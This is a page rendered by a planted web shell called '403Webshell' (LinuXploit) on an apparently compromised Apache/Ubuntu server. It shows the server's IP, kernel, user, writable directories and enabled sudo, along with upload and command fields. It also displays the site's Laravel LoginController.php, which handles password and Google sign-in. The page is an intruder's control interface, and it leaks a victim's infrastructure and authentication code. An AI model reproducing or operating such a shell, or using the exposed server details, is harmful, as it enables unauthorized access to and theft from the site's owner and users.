403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/shark/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shark/app/Http/Controllers/LoginController.php
<?php
namespace App\Http\Controllers;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash;
use App\Models\User;
use App\Models\Provider;
use Google\Client as GoogleClient;

class LoginController extends Controller
{
    // Show login form
    public function showLoginForm()
    {
       
        return view('auth.login');
    }

    // Handle login submission
    public function login(Request $request)
    {
        // Validate input
        $credentials = $request->validate([
            'email' => ['required', 'email'],
            'password' => ['required'],
        ]);

        
       

        $user = User::where('email', $request->email)->whereIn("role",["user","agency"])->first();



        if (!$user) {
            return back()->withErrors(['email' => 'Invalid Email or Password']);
        }
        /*if(!$user->password){
            return back()->withErrors(['email' => 'Please login with Google account.']);
        }*/
        if ($user->is_blocked) {
            return back()->withErrors(['email' => 'Your account has been blocked. Please contact admin.']);
        } 
        /*if (!$user->email_verified_at) {
            return back()->withErrors(['email' => 'Your email needs to be verified.']);
        } */

        $remember = $request->has('remember-me');

        // Attempt login
        if (Auth::attempt($credentials, $remember)) {
            $request->session()->regenerate();
            return redirect()->intended('dashboard'); // Or any intended route
        } else {
            return back()->withErrors([
                'email' => 'Invalid Email or Password',
            ]);
        }

        // Login failed
        return back()->withErrors([
            'email' => 'Invalid Email or Password',
        ]);
    }

    // Handle logout
    public function logout(Request $request)
    {
        Auth::logout();
        $request->session()->invalidate();
        $request->session()->regenerateToken();
        return redirect('/login');
    }
    public function googleLogin(Request $request){

        
        $idToken = $request->input('id_token');

        $client = new GoogleClient(['client_id' => env('GOOGLE_CLIENT_ID')]);

        $payload = $client->verifyIdToken($idToken);

        if (!$payload) {
            return response()->json(['status' => 'error', 'message' => 'Invalid ID token'], 401);
        }

        $email = $payload['email'];
        $name  = $payload['name'] ?? 'Google User';
        $googleId = $payload['sub']; // Google unique user ID

        // Check if provider exists
        $provider = Provider::where('provider', 'google')
            ->where('provider_id', $googleId)
            ->first();

        if ($provider) {
            // Login with linked user
            $user = $provider->user;
        } else {
            // Find or create user by email
            
            $user = User::where("email", $email)->first();

            if($user && $user->role=="admin"){
                return response()->json([
                    'success' => false,
                    'message'   => "You are not allowed to login."
                ]);
            }

            if($user && $user->password!=null){
                return response()->json([
                    'success' => false,
                    'message'   => "This email is already registered using normal sign-up. Please log in using your registered credentials."
                ]);
            } else {

                $user = User::firstOrCreate(
                    ['email' => $email],
                    [
                        'name' => $name,
                        'email_verified_at' => now()
                    ]
                );
            }

            // Attach provider
            $user->providers()->create([
                'provider' => 'google',
                'provider_id' => $googleId,
            ]);
        }

        Auth::login($user);

        return response()->json([
            'success' => true,
            'user'   => $user
        ]);
    }
    public function googleCallback(Request $request){
        
    return response()->view('auth.google_callback'); //
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit